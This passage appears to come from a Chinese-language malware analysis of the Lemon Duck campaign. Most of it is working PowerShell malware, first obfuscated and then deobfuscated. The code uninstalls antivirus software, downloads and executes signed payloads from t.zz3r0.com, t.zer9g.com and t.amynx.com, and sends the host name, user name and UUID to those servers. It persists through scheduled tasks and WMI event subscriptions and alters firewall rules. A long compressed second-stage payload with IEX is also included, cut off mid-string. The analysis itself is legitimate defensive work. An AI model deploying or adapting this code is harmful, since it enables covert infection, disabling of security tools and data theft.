173){Cd'+'Jb=CdJd[173..CdJc];CdJp=NtfU+tfUew-Object Security.Cryptography.tfU+tfURSAParameters;CdtfU+tfUJtfU+'+'tfUp.Modulus='+'[cotfU+tfUnvert]::FrotfU+tfUmBase64String(u'+'OsuOs2mWo17uX'+'vG1B'+'Xpm'+'dgv8v/3NTmnNubHtV6'+'2fWrk4jPtfU'+'+tfUF'+'I9wM3NN2tfU+tfUvzTzticIYHlm7K3r'+'2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv'+'1j1feIY6R7rpfqOLdHa10=uOstfU+tfUuOs);CdJp.ExpotfU+tfUnent=0x01,0x00tfU+'+'tfU,0x01;CdJr=New-Object Secu'+'rity.Cryptography.RSACryptoServiceProtfU+tfUvider;CdJr.Im'+'portParameters(Cd'+'JptfU+tfU);if(CdJtfU+tfUr.veri'+'fyData'+'(CdJb,(New-O'+'bject Security.Cryptography.SHA1'+'CryptoSetfU+tfUrtfU+tfUviceProvider)tfU+tfU,'+'[convert]::FromBase64String(-jtfU+tfUoin([char[]]Cd'+'Jd[0..171tfU+tfU]))))tfU+tfU{Ifvpex(-join'+'[char[]]CdJb)}}}CdJurl=utfU+tfUOsuOshttp://uOsuOstfU+tfU+uOsuOsU1uOsuOs+uOsuOsU2uOsuOs;a(CdJurl+uOsuOs/a.jspuOs+CdJvtfU+tfU+uOs?uOsuOs+(@(CdJenv:COMPtfU+tfU'+'UTERNAME,CdJenv:USERNAME,(get-wmiobject Win32tfU+tfU_ComputerSystemProd'+'uct).UUID,(random))-joinuOsuOs*'+'uOsuOs))uOsCdJsa=([SecuritfU+tfUty'+'.Principal.WindowsPrincipal][Security.Principal.W'+'indowsIdentity]::GetCurrent()).IsInRole([Se'+'ctfU+tfUurity.Princitf'+'U+tfUpaltfU+tfU.WtfU+t'+'fU'+'indowsBuiltfU+tfUtInRole] cFw'+'A'+'dministratorcFw)funct'+'ion getRan(tfU+tfU){return -join([char[]](48..57+65tfU+tfU..90+97..122)T'+'jQGet-Random -Count (6+(Get-Random'+')%6))}CdJus=@(uOst.zz3r0.tfU+tfUcotfU+tfUmuOs,uOst.zer9g.comuOs,uOst.amynx.c'+'omuOs)tfU+tfUCdJstsrv = New-Object -ComObject Schedule.ServicetfU+tf'+'UCdJ'+'stsrv.Connect()try{CdJdo'+'it=CdJstsrv.Ge'+'tFolder(cFw9RTcFw).GetTask(ctfU'+'+tfUFwblackballctfU'+'+tfU'+'Fw'+')}catch{}if(-not CdJdoit){    if(CdJsa){        schtasks'+' /c'+'reate /ru system /sc MINUTE /mo 120tfU+tfU /tn blackball /F /tr c'+'Fwb'+'lackballcFw    } else {        schtasks /create /tfU+tfUsc MINUTE /tfU+tfUmo 120 /tn '+'blackball /F /tr cF'+'wblackballcFw    }    foreach(CdJu in CdJus){        CdJi = [array]::IndexOf(CtfU+tfUdJus,CdJu)        if(CdJi%3 -eq 0){CdJtn'+'f=uOsu'+'tfU+tfUOs}        if(CdJt'+'fU+tfUi%3 -eq 1){CdJtnf=getRan}        if'+'(CdJi%3tfU+tfU -eq 2){if(CdJsa){CdJtnf=uOsMictfU'+'+tfUroSoft9R'+'TWindows9RTuOs+(getRan)}else{CdJtnf=gettf'+'U'+'+t'+'fURan}}        CdJtn = getRan        if(CdJsa){            schtatfU'+'+tfUsks /create /ru system /sc MINUTE /mo 60 /tn cFwCdJtnf9RTCdJtncFw /F /tr cFwpowershell -w hidden -c PS_CMDcFw        } else {            schtasks /creat'+'et'+'fU+tfU /sc '+'MINUTE /mo 60 /tn cFwCdJtnf9RTCdJtncFw /F /tr cFwpowershell -w hidden -c PS_CMDcFw        }'+''+'        start-sleep 1        CdJfolder=CdJstsrv.GetFolder(cFw9RTCdtfU+tfUJtnfcFw)        CdJtaskitem=CdJfolder.GetTasks(1tfU+tfU)        foreatfU+tfUch(CdJtfU+tfUtask in CdJtaskitem'+'){            foreach (CdJatfU+tfUction in CdJtask.DefitfU+tfUnition.Ac'+'tions) {                try{                    if(CdJaction.ArgumtfU+tfUents.C'+'ontains'+'(cFwPS'+'_CMDcFw)){                            C'+'dJfolder.RegisterTask(CdJtask.Name, CdJtask.Xml.replace(cFwPS_CMDcFw,CdJtmps.replace(u'+'OsU1uOs,CdJu.substring(0,5t'+'fU+tfU)).replace(uOsU2uOs,CdJu.substring'+'(5))), 4, '+'CdJnull, CdJnull, 0, CdtfU'+'+tfUJnull)TjQout-null                '+'    }                }catch{}            }tfU+tfU        }        start-tf'+'U+tfUsleep 1        schtasks /run /tn cFwCdJtnf9RTCdJtncFw'+'        stfU+tfUt'+'art-sleetf'+'U+'+'tfUp 5    }'+'}try{CdJdoit1=Get-WMIObject -Class __EventFilter -tfU+tfUNameSpace uOsroot9RTsubscriptiotfU+tfUnuOs -filter cFwName=tfU+tf'+'UuOsblackballuOscFw}catch{}'+'if(-not '+'CdJdoit1){    Set-WmiInstance -Class __EventFilter -NameSpace ctfU+tfUFwroot9R'+'TsubscrtfU+tfUiptioncFw -ArgumtfU+tfUents @{Name='+'cFwblackballcFw;EventNameSpace=cFwroot9RTctfU+tfUimv2cFw;QueryLangua'+'ge=cFwWQLcFw;Query=cF'+'wSELECT * FROM __InstanceModi'+'ficationEvent WITHIN '+'3600 WHERE TargetInstance ISA uOsWin32_PerfFormattedData_PerfOS_StfU+tfUystemuOscFw;} -ErrorAction Stop    tfU+tfUforeach(CdJu in CdJus){tf'+'U+tf'+'U    '+'    CdJtheName=get'+'Ran'+'        CdJwmicmd=CdJtmps.replace(uOsU1uOs,CdJu.subs'+'tring('+'0,5)).replace(uOsU2uOstfU+tfU,CdJu.'+'substring(5)).replace(uOsa.jspuOs,uOsaa.jspuOs)  '+'      Set-WmiInstance -Class __FilterToConsumerBinding -Namespace'+' cFwrtfU+tfUoot9t'+'fU+tfU'+'RTsubscriptioncFwtfU+tfU -Arguments @{Filter=(Set-WmiInstance -Class __Eve'+'ntFilter -NameSpace cFwroot9RTsubscri'+'ptioncFw'+' -Argument'+'s @{Name=cFwfcFw+CdJtheName;EventNameSpace=c'+'Fwroot9tfU+tfURTcimv2cFw;QueryLanguage=cFwWQLcFw;Query=c'+'FwSELECT * FROM __InstanceModificatfU+tfUtiotfU+t'+'fUnEvent WITHIN 3600 WHERE tfU+'+'tfUTargetIn'+'stantfU+tfUce ISA uOsWin32_PerfFormat'+'tedDatatfU+tfU_PertfU+tfUfOS_SystemuOscFw;} -ErrorAt'+'fU+tfUctio'+'n Stop);Consu'+'mer=(Set-WmiInstance -Class CotfU+tfU'+'mmandLineEventConsume'+'r '+'-NamespactfU+tfUe cFwrotfU+tfUot9RTsubscriptioncFw -Arguments @{Name=cFwcc'+'Fw+CdJtheN'+'am'+'e;ExecutablePath=cFwc:9RTwindows9RTsystem329RTcmd.execFw;CommandLineTe'+'mplate=cFw/c power'+'shell -w hidden -c '+'CdJw'+'micmdcFtfU+'+'tfU'+'w})}        start'+'-sleep 5'+'  '+'  '+'}tfU+tfU    cmd'+'.exe /c netsh.exe firewall add portopening tcp'+' 65529 SDNSd    netsh.exe intertfU+tfUface tfU+tfUptfU+tfUortproxy add v4tov4 listenport=65529 ctfU+tfUonnectaddress=1.1.1.1 connectport=53    netsh advfirewtfU+tfUall firewall ad'+'d rule name=ctfU+tfUFwde'+'ny4'+'45cFw dir=in protocol='+'tcp tfU+tfUlocalport=445 action=block    netsh advfirewall firewall add rule tfU+tf'+'Uname=cFwdeny135c'+'tfU+tfUF'+'w dir=in protocol='+'t'+'cp lo'+'calport=135 ac'+'tion=block    Set-ItemProperty -Path cFwHKLM:9RTSYSTEM9RTCurrentControlSet9RTServices9RTLanmanServer9RTParame'+'ter'+'scFw DisableCompression -Type tfU+'+'tfUDWORD -Valu'+'e 1 ???Force}schtasks /delete /tfU+tfUtn Rtsa2 /F'+'schtasks /deletfU+tfUte /tn Rtsa1 /Fschtasks /delete /tn Rtsa /FtfU)-cREplaCe  ([CHaR]1'+'02+[CHaR]118+[CHaR]11'+'2),[CHaR]96  -RepLaCE tfU9RTtfU,[CH'+'aR]92 '+'-cREplaCetfUCdJtfU,[CHaR]36-RepLaCEtfUTjQtfU,[CHa'+'R]124 -cREplaCe'+' ([CHaR]117+[CHaR]7'+'9+[CHaR]115),[CHa'+'R]39-R'+'epLaCE([CHa'+'R]99+[C'+'HaR]70+[CHaR]119),[CHaR]34) )'+'') -ReplaCE  'tfU',[CHaR]39  -ReplaCE  'hCN',[CHaR]36)| &( $pShOMe[21]+$PSHOme[34]+'x')" =  lh2$
*/

继续处理混淆后如下

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractivecmd /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart$v="?$v"+(Get-Date -Format '_yyyyMMdd')$tmps='function a($u){$d=(New-Object Net.WebClient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){Iex(-join[char[]]$b)}}}$url=uOs'http://''+''U1''U2'';a($url+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*''))'$sa=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")function getRan(){return -join([char[]](48..57+65..90+97..122)|Get-Random -Count (6+(Get-Random)%6))}$us=@('t.zz3r0.com','t.zer9g.com','t.amynx.com')$stsrv = New-Object -ComObject Schedule.Service$stsrv.Connect()try{$doit=$stsrv.GetFolder("\").GetTask("blackball")}catch{}if(-not $doit){    if($sa){        schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"    } else {        schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"    }    foreach($u in $us){        $i = [array]::IndexOf(CdJus,$u)        if($i%3 -eq 0){$tnf='uOs}        if($i%3 -eq 1){$tnf=getRan}        if($i%3 -eq 2){if($sa){$tnf='MicroSoft\Windows\'+(getRan)}else{$tnf=getRan}}        $tn = getRan        if($sa){            schtasks /create /ru system /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"        } else {            schtasks /create /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"        }        start-sleep 1        $folder=$stsrv.GetFolder("\$tnf")        $taskitem=$folder.GetTasks(1)        foreach($task in $taskitem){            foreach ($action in $task.Definition.Actions) {                try{                    if($action.Arguments.Contains("PS_CMD")){                            $folder.RegisterTask($task.Name, $task.Xml.replace("PS_CMD",$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5))), 4, $null, $null, 0, CdJnull)|out-null                    }                }catch{}            }        }        start-sleep 1        schtasks /run /tn "$tnf\$tn"        start-sleep 5    }}try{$doit1=Get-WMIObject -Class __EventFilter -NameSpace 'root\subscription' -filter "Name='blackball'"}catch{}if(-not $doit1){    Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="blackball";    EventNameSpace="root\cimv2";    QueryLanguage="WQL";    Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";    } -ErrorAction Stop    foreach($u in $us){        $theName=getRan   $wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp')        Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="f"+$theName;        EventNameSpace="root\cimv2";        QueryLanguage="WQL";        Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";        } -ErrorAction Stop);        Consumer=(Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="c"+$theName;        ExecutablePath="c:\windows\system32\cmd.exe";        CommandLineTemplate="/c powershell -w hidden -c $wmicmd"})}        start-sleep 5    }    cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd    netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53    netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block    netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 ???Force}schtasks /delete /tn Rtsa2 /Fschtasks /delete /tn Rtsa1 /Fschtasks /delete /tn Rtsa /F
*/
脚本主要功能

•尝试卸载杀软(eset、卡巴斯基、avast、诺顿等)•依次尝试从t.zz3r0.comt.zer9g.comt.amynx.com下载a.jsp后重命名为aa.jsp•检测权限是否为administrator,如果是则创建计划任务blackball•设置SMB为启用•防火墙添加转发、阻断规则•下载时判断返回长度是否大于等于173,如果大于则解密前173个字符并用来做SHA1校验,如校验成功则执行下一阶段脚本

a.jsp 第二阶段攻击脚本

a.jsp为第二阶段攻击脚本

脚本在下载攻击文件时会携带UALemon-Duck-

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* oM/axl7kOfLq0gbJx+jFEsor6+Z66LcorosvJGnVxNCU34epX0b7EbBhZPTvwFOaF7grX+nwaPyA/6VCNiCkpsWL1J3yWm68X8f8KGhc+gPwGvgjJk8Y+twUiQGYsIT6Y7w9xpVVZspbOsF+tIWXiXtf+0pEdrsCOVnqU83dTtE=I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f229ad337db3f99d567d993f2344db73efe89bdcf3ffee4e3fdf9c777e8aff4a33b1f7ffca2a87e7afbe3dffbe34fbe7f6fb4fbbd3bf9f4455e9f3ecbeb97a7afbf7c52e73ff9bb7dffe2c5d9ab37afbfb7452ffcc29f49ef7c7aeffbf5f1b7a7dfa3cf8b576f9aef8dee7c7a5f3ef9e4fe81feb2a39f6c6d9d4eb3e7abbc1edf79d87beddeeeae367ff8407fd9331f792f7efc331f8feeecec99b6bbf637fbbedff8374e7ee3e4ce2ffa72f57bd3ff3ff93e8df5deeef79e9e95cf4fe7cdc1577b9f7c7ff77b33feebf5017df7d51e8d69fcee9a7efd45773e7d28d046f4e64f7c55d3bfe9e9f4f8f94bfa32a7ffd7d3ed7d1d025a3c78fb05fdcb0d72fa6acf7b7976efdabe8cefd2d4908c486528b46f68f6e0531d447a7ac22f507b43abd19dfdfbd4b5b6fc545b2a99e98be0ad7d4398d19d5dd3cbfd1d43ac1dfa0da3d0ae0c6e20d52f01cd683ccb6232ce67d5ddb25efffecbab6af6939f9ed0a7e9ef7d7a462fbefe31b4fac577ee5c54e5f8eddbfdb76f6998ab45fb0874a6ff5f2e736a9fcedb6cb5dd3679bbf5bb6e9d17fa1ddee44e7ec98fc9bf3f667bd416937159640bfde3f73f2f0807eab38bc6eb1ffb318345fbae1def17bf881ac93b65b69855178a521417f32a75f445994dab929ae063c6e817cfa76d36fd25c197df3fcfebef8d3e7df295a265be7b4ebd94bfe84bea9a3fce2655f939b51ae5ebbafd49fa94c0becbdbf517e38b6531cbf27afe266da7f94f4fbedcbeca5f1ce64d466dca73eae033bfb75f7c5db78ae145569e2f7ef253ed1648328ebf8449789dbf6d82c17da6ed2e042ebd78c270667575f58bbee4af9ea6f9eabadd4ef7d2599dad3f2f6992bf10945205a730d26bfda5adf35555bf5c80f7dbb3ed367fad33e7a3b0c05734267dc7ce8d87e24ba0f846e84fb074daafdba2d697d6d3fc35d1f36d45df5665bbfe92fef8fde965fa8111d26f8f1e11659ae2227f456f7e6660d3c3bdcda744e1eafc278ad92fb9f3b68a4230742440faabc2f3104c67cb4cbfdc4ea99f4f66f43ab80e7cb1d84e01f01733c9aaedbccee757d461bec896db690f4b90a59895c57c4a64bb1092a0110d50db191a5373fd5570516695e9fec5771a059d2e0bd30bc1d8d211b39e230cab06333e5b5ed1bf8b7a2a03c7870afad393e6ed5c4468649bdfbaa1c06dde52c7bdef6cf3addff333c5d5905ae659fffa82fac9ebecaa3daf30d5a72fcebe7d724c1f42e94a0be8dfdf874ccc99fefdf9e92b6ab85cbfaadebc9d1625faf84c505606a26fc199b3eac5debdfd4fafaaefa285e0aa2df269717e0e56a05e9baa9e165f3ca037a895e0eee09cbe3afeee9b675f7a98fdfecf8f4fbe7cfefbff3ea7bfd7b7015686a9cceb148ea736046be80351722229fac66c2994f6f412cb4d7ea983ad16f92b119d3b9fee82badfa2d6fdb740e71c4a31fff6f5aa3a19df715f6de5d36cf59ad8f1c5f8ced2402d08b1a25cad8ec76599cf5fab0a5a5427db297d4d709805ad5eda52144014bf6f0567501899efef4248602808922ae92d90bd341afdd92cab4afae6297d3abed32ef3a224a37a32c9bf3ba6575a6d85f1bc006ef41d64eb8a7ee64b45e617df39f8f4e1fd7b3b7b7b69ce9276b1cc4b3703e33b178c8ad0b3cd3fdf4aeb8a47876fcd9756aef473d145bf71c2d343b8b5d96c7c31bb5ccee8830ebd3f1310c658ad8a1f8ca9a1b01a3e5788cc17f2eb2fbeb3ff6953a05b82462a653b5df29f46a64947e0a7806b7e7adcd615792d64ecf4fdf5ef4fa23d95ded9e0397e12564b030b4a3fa89f1ff310b84303bd9efcfe57594d40befffdefd5d97cfabd253c3c337c80fd3163475352d6595d1fd34b046842ef8c76b33914ecc807b495b5d9d3ebf3a2ce2fc75953cb801406b3e4acb8246b41327759e7afab76755d9fec6a87c7df7e3dbe9eaff4afacbe90afc7b00150fe639abde6fa3541b1565298e2b35451d18e88b4643b81e3d685e1f2a26e5ff3c74f1655fdecd1a3ef93ddba5c56d3efd1db9d81192832aee545d17814da6212d14bd28742f7df5a6475f652c7ded4799bf307983fe3b59c3169f40ffbe6611d23cef1eb57208a5243df891325870dce8c8d253bfe66db73270865414abbdbdd79b733dac13ff82dfd451f1b61f92c25115c56ab77a763190ba09a373d469edda777279fd23ffae183fd77fadbcee8c1843e3fb847ffe0ed9c7e3e7848ffe419de7940ffece3b77b78fbe000df9ed33ff767e6b319fedc43bb9d5d7cc1efeed13f9fe28bf37bef082a40d20f00a4f7b4e7d1019a663bd260320504609103ea43fc76ce9fcda4c1defebb1dfa65940387fb16c30cad771ffe22abfd8061c6afa0b5e96c1f3081e40c30f780e95e2e289d6b9387f2a690019d1cf0e07500f4cf03bcfa00046220bb3bf2fe1e88fb293eb9c75400e60fd1c12e6834012966f862622973008a4f81780e687bf8628fa9caa3e6f900025300d8e101e2b75d0015aa7aa322243e05d633bc96a35d065c988a9ff298c0389f029e2106b0d9c3f713ee8f2000d03d409e001c5e82e27453c503e67f76f837250a0f7d0a20f730ae1c6078563e051e0fb80b8cf03ef31fba9d2a7c468fe99501c77bf7cd9fe73cbe3dcb9e9844fe6c0f2398a1f1432624ded8dd173c6680360501987527fc9bcf69c0e93e1a197f90be24296bd6e59abc66111e82a4ba40c5ce698450b23b224def9154f7f49caf5c8cdaf87ebb5c57d3316b2b6af7fb3739be1d8fef3dd8fd9ea830f904af5b4dad187b5076313bbbe3f14eef2574ee6942ed5721fce23bd44fda5e90aa7168e8cb3694ba4320c80328b3658168868d048cfec7ec113c1db3cd9f4ef22b1f4d81a1e6cbda34817787a2a86d4452f4ffd93d45e59afe80835322bc7f3b5d3ffdfd97e4313dff18de3437f9182aeee413b298dbf85a5fdbe656eab1102617c7db758e417f05476a36cbc634673333c7f9b7195b0c481136161251997100789e6015e0fbd0ff7f0ffd49445093fd59ea1144de0b3c9fd67376be1467070ce053caeb9789c2ff4a0fdfa78092828ceff1475bcc34fc6b9afe625875478dd7e992fcbfe9726da3845ff800c136d938fcb13fde0161568b8cfca245d1c2dce3e70a9d18bd5fcfe1278f5605ffb8e47ff1b201f4fdfbe0aafbb345fd9623e9f8978b0ddf9d17f225a1dc160b0a3831c47679f6bdd122e7ee2858852f34ca2f8b1a0ee66849390276354734978cacba5bf25a537941f3efb985a9c1b83ffbc44e9cc775bf84d9ede198ff53a63b18f37fe0b8df738bd8a3fe723eadb3fc35391575ae905fbf7ef194c2e1f11d84fb9f11eeb3bc9c64cb7c55a4a404cae27c9b899fd5eb8be29c5c116a419fafb259f69602f2365ffefe7bf79605643f6d9aac9caa35af8ac515f9b0f4f1c5967313d9f5bb730791a608ee6475b1f5c91d4ad4d46ff127931fbfec532c045aa5e7d38badad94624bf5a0ebdfcbcb75009a6df9ee94d8ef4c59bbfebdc0bef8eae233d3c222404889db094ce80f830ca171e1e529d2cc78798a23be3c31fe38a12a7fdfeba32ab86ac33b17cb2fde741334f625c1da48a4e98fdea0bf4053198269ae44304e397be47732a801fe1be1823ae826c9c2ffd8c17a2365dcb3d505bd2ba3e30fc0e2f8b967d863606c77784cf46e38acbdceb014888e4e46a543324ddd9074143ee68cb302f139869ade59a2bd7e37392f047bfd7b217fef0e71d1f959878b4c4b178d85fc747ee630376d2d9686639e7c65659144ee13ce897d42bf515f1f231bf4935e0e4efe87361f23c3a6cdaae7399271948283eafe5c1a8dcc5c201fb73119a7ed0ec9e797845c170d9b99a33f03fb98b2f163b3c7830c14ae0c926c590a78e022854849a33b4ba645109a81a5e8ffbff7e94fc03e41619c5163849026cb7547816cd16cf6bb2252e7efa03ac6d40a38114d7e778a647ff7f417a6f445e7531dc2ef9e1675e57dc51ff36ccaabd777d13ffd9fb20dd3747a379d2da6bf30ddc6278a0c8de68102fb18a9954f308bbff0f7fbfd7e3fcc016689fef28df71d6dcc84708c33d337843eee05694dcd56f42a7d4c2207d6841bf1e4f4e576ba8ba0fef0ce1d4a6ca76650e4ac507e836cc4327b858c0008fe608ffc1f02b3bbb5f509672b18ce68c536668bc195e53186459eda771f3dfa3ee5309e8dbf3c83c3a660c969d3dfbe77e87891c81e9210ee80fbdaa5123e93be0eef6c5104569e8c0583cf7e7ffc3434a16f77e82134e8df5d418bf8f5957e3fbe73e74ed318c6ae578b6a9a3f05aee493123fd057f88c404310b495fbf4cb334af98feedcf9fe1d71e78407b7c6e33bbb9fb00af99e7ca22f8ec8b7e05453fbfabaae3807fc8512c4775f296994a261fb7a05cfe9079f8f7d4cb83d60d85714babc09e72b7f755d5b6d553ca1577cd89f09990eef7c1f2892cf60a64025c865e07d5922692735541cfe925ff296509bfce23b19c7c1f976ca60f465d262bff8ceee673cf8c3dd6d9f2a695b6ea7fcf9ce674c1bcab53ad9007baa4e542918e9fc6f916d8070f4a4139ac2138c9e5408dfff7ed48a1ae818ad00b144b8290d5ffb25bf3f999f8f39adfc19fb53c09afefefdbdd9a4c85ffea2cf7ff19dd5ba6235725efc925fb2fb99fef58bf3a6cc7f892aa6d18ac158b98808054de8f77ef11dd32191b6159087cc7c4c4318fbcff0f121f05481a02fd511fbd8a8f0df039f837cf4097f7057dbba25281d39d1577fa3849da616679dbc2279d71f4b1a2970b0b72214f85d3b24f08703aaea88424acab0f4ebc33b4a290c4b890596eed24adf7dfdbdcf1418e180389a0dae9ff4ff2508c3d265bd6ef3faf09728ddf6def14f6affd5167bffafab37632c4690530b586ef9e317d9b486cee4d6bcc9be4da68fa591544f4b2d69f9e1fbf79f7e311ca1cadc2a00e71e38a3e3e93f6f99d0a9bdcf10feb92fbce64b938a70d34f3a53bf5c818f455ff2b79f0971ddeb181bd35dba32f2f0a95d9d73120078ea72a0715acda7f9a74e6e595a470c6ba4cdb6ce63169cd4391109933245b63ba5f59ae7c46f8626eb8bfa783b857d25cbc84b4998f7edd4a9e929a5fd60dc8d19814acd5a594953c86d53cdb72163577645eb8e7cb5b5e27441809631294c220933c8452143d7e05bc159fb32111f457cd34ca229e3fcad2f78e8048454d7ef0f5382bf2fd1272de42ce0a5ba6889d6cb11bc21d4dd6a8b72d58c2516fdec521b901065ec42d3c21f357afac5f14f683fc56c599196c7b29d5946d388ce7adbbb9f2dbd774f4f5e7df9ec1446fbf8ece9d94fbea05f7eef379f6f78fd17cf0da5e144e22376d90db97f92adf2ce78f7d2f837b4888bc5903abfaa5e36c4a1cbe2bbf4d5de3d939b69e82ff9fc8a7e7b34c564621661d8d61f233bf0ee94e6dc2964283c72b47372535faebe3049f6d9ecd84c678eb453ce6b300dba5d0946f4219072d8e89b0629fd537113c4822611fc14391f1f4284b94d1a83476f6ab99b42cd546db1acbe404ea024959643a62734cb4f3b2f9965e15faca869dcea7bf5b0775b365d4f06baccdaaa1d9336aa493fcdc714f9829b24dbc03c5e8c99e5f3256921f3b56421f035f0c732847e71693ed71e38a827af62b1583777f5b3ddbb0f3ffdf4defea3ddf10efcc09d31798477ef3e5ab5ed1cc8117f495e45ac8abe54cde87334b72606f9193231cbde6a15de108ed8da12ff25ff415166b45ad2e44fc7776af3d7eb96d62ba60aff7576997d87476aec9a693536ea02ad5f8fc9b0051ed767703264f4ec5d109a8dbe00da2cf39652fcb086a2cd21b7581924d82de58be6add102dfa5e13e2773705d4e1679d31c2bd5cbf3fcd5f7784e7532ef3c1ced88e969266b4a7ba0bfdf9dd561069d5d57cf28cea1e97c2a2b709fa57e5ac9e7067a071183c943fd92efef7cefce9d6029a70163d00207f23d4fd9ca710ee7f7875f4dadcd14f342277f0bf307f1220b9812ecf497b01ad9bbf7e6f8193084d74758128a1e440efad1ecf5b3372fa415818834dcd27401da4aeac66fdec1d3424532e8527ce6570607afedc7ecad59d8fb7b3b92669515dcbc7e86f7cb22bb3c56b84613a0f935f91704e05573c65ffee29424717ec523bf430e1b7aa039a039adce9767d2a1f1429aef616a4c22cd9fdfc9e7bb774958348fc37c4cffac4e3e9324dce12f49c93f20ec32f84fdc6ffad9272906c82f9d50eef1972041ce301459c2ed7767b4103ee45f50205d34d7f3979cf9fa6e4a99ae0ba3ab019324a42cabba5d5627642f8a9fa4661f234c337c5f2cbe6b784b0d00b35543e6654aae6be602016816a68c738b38e239793b2dde105d489417cbaa2ec8867e6f8bde37b24e608ab22cbed045c465b66206fe1ec105d54c6a94f50f529024d542d59a231cb8585349eb0165851a626e52970e590677fac5f18b57a7afbfd248911a4a66d359184febfde4788214e7c927fa95910dcdae22d39daa0149dbf3aaa9eae92fb25e618126367c80b0d3942a4064e72bf12a58e4457590d09396ce575f826b65ea2863a97ddbc4a53f4881a66bebc4d84d5dc0d53529ce6de897bc61ce409c487efc34fb627ce79720950a347e82ac924da776785cfb9d05d9d51349ad1eab7c0a837d6c97923dd4c409c2e89e9e7df515050e535acea95fca486b76930d379cfcfe7bfaeb3dcb8495a4672f08947e97ce0a76a478ac6622df7cf5f28b2f4fdc64e69e8765b43519d78c745db12c16b3634c19c50bd5abe519e58ed74f74fac6a5f6c22955338353d2c22fc95da7bfc563ffde96bc4a0a81542971775daf4fa002a80569f6b6a08f66671666e640e8fbdfb79f51237a69a81d286873f4c6d3fc025eb1a4f4f790d2bfa31f057ea22c89fcfe248d5389f25876a9151165fc6e79bdc8c6ad1a63fad065853e2b6b2501a0fce23b044474e7efaace9f930140ba58be9d66e39983e4e6c90b5304737f09804720c974f29102ffda75b0650c6c34cc23e2705c6897428c66edf6b2083a91d198041a3ab909fa22025c5fb77d7004e48de4d313c67f1034e65ca0633546a1492ffa87ceb5ea17f703efd0db32e491416fa49084d660ff9aa4e6339b4967d4f52bed80650532bbb433de5a17deb8d1e018845ace8f060a0c96d983864f20b00280cfcc74092d1064a36f6ea25f7de185dee028d34f59ae97dbedba124f45c1f97074da88c17a18055d7d91926a29b63979aab0f505c134fd843c0bf0d9ef7ec7a52bb73ef9748b575cbd242670e03ce61ef2980f1e7eb2f3703cbeffe9270f6819ed607fcb2492b758102d452cddbc5f8c40a4e633db58920ea9f7b0877047531decc4d0afd0d10a844816804be195b2866327c8271a7da10b432cdc4a9e2d1b25f758939a09776a032feb020512a2d8b84114a9f97d4bedbf692648e964118cce7cb1b8fb72a21d472591141a93c2ca8aa5307a17a3a5dfd9e8d438231ebfe8575807ac56b4506262326a411f7d4b3e599e6da758c07ffbc5b73acc554c81881dfcc7bc5460b88ce2cb9f4470893ee8ff96413b11afcb6adba817df3d42079f79ccee888d488205ba9f2c29790a988f3824e4e08fb3579ab7c2404dea8a1599e7a3cd78ce